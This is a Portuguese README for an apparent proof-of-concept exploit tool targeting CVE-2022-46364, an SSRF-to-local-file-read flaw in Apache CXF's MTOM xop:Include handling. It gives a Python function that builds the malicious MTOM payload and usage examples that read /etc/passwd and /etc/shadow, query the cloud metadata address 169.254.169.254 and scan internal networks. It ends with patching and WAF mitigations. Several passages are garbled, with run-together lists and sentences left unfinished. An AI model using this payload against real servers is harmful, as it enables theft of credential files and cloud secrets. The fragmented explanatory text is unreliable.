
Esta vulnerabilidade permite que um atacante realize ataques de SSRF (Server-Side Request Forgery) em webservices Apache CXF que aceitam solicitações MTOM/XOP. O problema existe na forma como o atributo href de xop:Include é analisado, permitindo que URLs arbitrárias sejam solicitadas pelo servidor.
ESTA FERRAMENTA É APENAS PARA FINS EDUCACIONAIS E TESTES DE SEGURANÇA AUTORIZADOS
Este exploit de prova de conceito é fornecido para fins educacionais, a fim de ajudar profissionais de segurança a compreender a vulnerabilidade e proteger seus sistemas. O acesso não autorizado a sistemas de computador é ilegal. O autor não assume nenhuma responsabilidade por qualquer uso indevido ou dano causado por esta ferramenta. Você deve obter permissão explícita por escrito do proprietário do sistema antes de testar. Ao usar esta ferramenta, você concorda em cumprir todas as leis aplicáveis.
| Atributo | Valor |
|---|
| CVE ID | CVE-2022-46364 |
| GHSA ID | GHSA-x3x3-qwjq-8gj4 |
| Tipo de Vulnerabilidade | Falsificação de Solicitação do Lado do Servidor (SSRF) → Inclusão de Arquivo Local (LFI) |
| Software Afetado | Apache CXF < 3.5.5, Apache CXF < 3.4.10 |
| Severidade | Crítica |
| Pontuação CVSS | 9.8 (Crítica) |
| Vetor de Ataque | Rede |
| Autenticação | Nenhuma necessária |
| Versões Corrigidas | Apache CXF 3.5.5+, 3.4.10+ |
Este exploit aproveita uma vulnerabilidade crítica de SSRF na implementação MTOM (Message Transmission Optimization Mechanism) do Apache CXF para alcançar Inclusão de Arquivo Local (LFI) e capacidades de varredura de rede interna.
O Apache CXF valida incorretamente o atributo href dentro de elementos xop:Include ao processar mensagens SOAP codificadas com MTOM. A biblioteca usa URLConnection do Java para desreferenciar a URI sem restrições de protocolo adequadas, permitindo que atacantes especifiquem:
file:// - Ler arquivos locais (LFI)http:// / https:// - Solicitações de rede interna (SSRF)ftp:// - Solicitações FTP (potencial para exploração adicional)Esta vulnerabilidade é particularmente perigosa porque:
Qualquer implantação do Apache CXF que:
MTOM (Message Transmission Optimization Mechanism) é um padrão W3C para otimizar a transmissão de dados binários em mensagens SOAP. Ele usa XOP (XML-binary Optimized Packaging) para incluir referências a dados binários:
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<myData>
<xop:Include href="cid:[email protected]"
xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
</myData>
</soap:Body>
</soap:Envelope>
Normalmente, href contém uma referência CID (Content-ID) a uma parte MIME. No entanto, a classe AttachmentUtil do Apache CXF processa valores href como URIs genéricas sem sanitização adequada.
Análise da Solicitação:
Content-Type: application/xop+xmlAttachmentUtil.getAttachmentObject() processa elementos xop:IncludeDesreferenciação de URI:
new URL(href).openStream() diretamentefile://Incorporação da Resposta:
// Representação simplificada do código vulnerável no CXF < 3.5.5
public DataHandler getAttachmentObject(String href) {
URL url = new URL(href); // Nenhuma validação de protocolo!
return new DataHandler(url.openStream());
}
O protocolo file:// segue o mesmo caminho de código:
file:///etc/passwd → Java abre /etc/passwd como um fluxo de arquivoAo iterar por IPs e portas, atacantes podem:
usage: exploit.py [-h] -t TARGET [-e ENDPOINT] [-u URL] [-f FILE] [-s SCAN]
CVE-2022-46364 Apache CXF SSRF to LFI Exploit - Educational Purpose Only
options:
-h, --help Show this help message and exit
-t TARGET, --target TARGET
Target base URL (e.g., http://192.168.1.100:8080)
-e ENDPOINT, --endpoint ENDPOINT
Web service endpoint path (default: /services/Service)
-u URL, --url URL External URL for SSRF (e.g., http://169.254.169.254/latest/meta-data/)
-f FILE, --file FILE Local file path for LFI (e.g., /etc/passwd, C:\\Windows\\win.ini)
-s SCAN, --scan SCAN Scan internal network range in CIDR notation (e.g., 192.168.1.0/24)
| Argumento | Descrição | Exemplo |
|---|---|---|
-t, --target | Obrigatório. URL base do serviço Apache CXF alvo | http://10.10.10.50:8080 |
-e, --endpoint | Opcional. Caminho do endpoint SOAP | /services/UserManagement |
-u, --url | URL HTTP/HTTPS para buscar via SSRF | http://169.254.169.254/latest/user-data |
-f, --file | Caminho de arquivo local para ler via LFI | /etc/shadow, C:\ProgramData\secret.txt |
# Python 3.6 ou superior necessário
python --version
# Clone o repositório
git clone https://github.com/cybermaksxx/CVE-2022-46364-Proof-of-the-concept
cd CVE-2022-46364-PoC
### requisitos
requests>=2.28.0 urllib3>=1.26.0
---
### Detalhes da Implementação Principal
#### 1. Construção do Payload MTOM
```python
def create_mtom_payload(uri):
"""Create a multipart/related MTOM message with xop:Include"""
soap_part = f"""--MIME_BOUNDARY
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: binary
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<vulnerableParam>
<xop:Include href="{uri}"
xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
</vulnerableParam>
</soap:Body>
</soap:Envelope>
--MIME_BOUNDARY--"""
return soap_part
Atualize para uma versão corrigida:
<!-- Para projetos Maven -->
<dependency>
<groupId>org.apache.cxf</groupId>
<artifactId>cxf-rt-frontend-jaxws</artifactId>
<version>3.5.5</version> <!-- ou 3.4.10 para legado -->
</dependency>
Desabilitar MTOM completamente (se não for necessário):
<jaxws:endpoint ...>
<jaxws:properties>
<entry key="mtom-enabled" value="false"/>
</jaxws:properties>
</jaxws:endpoint>
Controles em nível de rede:
Regras de Firewall de Aplicação Web (WAF):
xop:Include com href apontando para file:// ou endereços IP internosEsta vulnerabilidade foi descoberta e divulgada de forma responsável por:
Esta ferramenta é fornecida apenas para fins educacionais. O uso não autorizado é proibido.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
Última Atualização: Março de 2026
Versão: 1.0
Contato: Para preocupações ou perguntas de segurança, por favor abra uma issue no GitHub.
Este documento faz parte de uma pesquisa de segurança responsável. Sempre obtenha autorização adequada antes de testar.